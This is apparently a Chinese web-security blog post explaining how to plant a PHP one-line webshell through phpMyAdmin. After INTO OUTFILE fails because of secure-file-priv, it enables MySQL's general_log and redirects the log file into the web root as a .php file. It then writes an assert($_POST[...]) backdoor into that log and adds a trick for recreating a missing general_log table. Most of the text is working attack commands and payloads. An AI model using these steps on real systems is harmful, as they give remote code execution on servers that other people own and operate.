php一句话木马连接客户端_【WEB安全】phpmyadmin通过日志写入一句话木马

1.想通过into outfile写入一句话木马

select '<?php assert($_POST["cmd"];?)>' into outfile 'D:/phpstudy/PHPTutorial/WWW/xx.php';

需要知道绝对路径

2.执行下来，报错 “MySQL服务器正在使用--secure-file-priv选项运行，因此它无法执行此语句”

那么就要知道这个 secure-file-priv是干什么用的。secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方，默认情况下，secure-file-priv是一个空值（NULL）。

我们现在把secure-file-priv设置为网站的根目录，再去尝试使用INTO OUTFILEgetshell。

执行下来报错，这个变量仅仅只是可读的变量。

3.思路卡壳了，转向从日志写入一句话。

Mysql的两个全局变量：

general log 指的是日志保存状态，一共有两个值（ON/OFF）ON代表开启 OFF代表关闭。

general log file 指的是日志的保存路径。

目前这个general_log为off状态，那么日志就没有被记录进去，所以先打开这个全局变量。

set global general_log='on';

打开过后，就会出现日志文件

文件内容

执行一条sql语句便会被记录到日志文件种去。

所以可以从日志写入一句话来试试。那么既然日志是保存在这个文件中，要写入一句话，应该要把日志存放的文件位置换成想要生成的一句话木马文件。那么就需要修改general_log_file变量的位置了。
set global general_log_file=’D:/phpstudy/PHPTutorial/WWW/xxx.php’

那就写入一句话进日志

select ‘<?php assert($_POST[“admin”]);?>’;

访问一波，成功解析。

奇技淫巧：

mysql版本： 5.5.53
尝试开启日志功能写文件，但是提示表 mysql.general_log不存在
mysql> set global general_log = on;
ERROR 1146 (42S02): Table 'mysql.general_log' doesn't exist
解决思路：
从其他数据库中提取表 mysql.general_log信息
然后切换到mysql库中执行以下SQL语句
CREATE TABLE IF NOT EXISTS `general_log` (
`event_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`user_host` mediumtext NOT NULL,
`thread_id` int(11) NOT NULL,
`server_id` int(10) unsigned NOT NULL,
`command_type` varchar(64) NOT NULL,
`argument` mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
再次执行
set global general_log = on;
select 'shell' 即成功拿到shell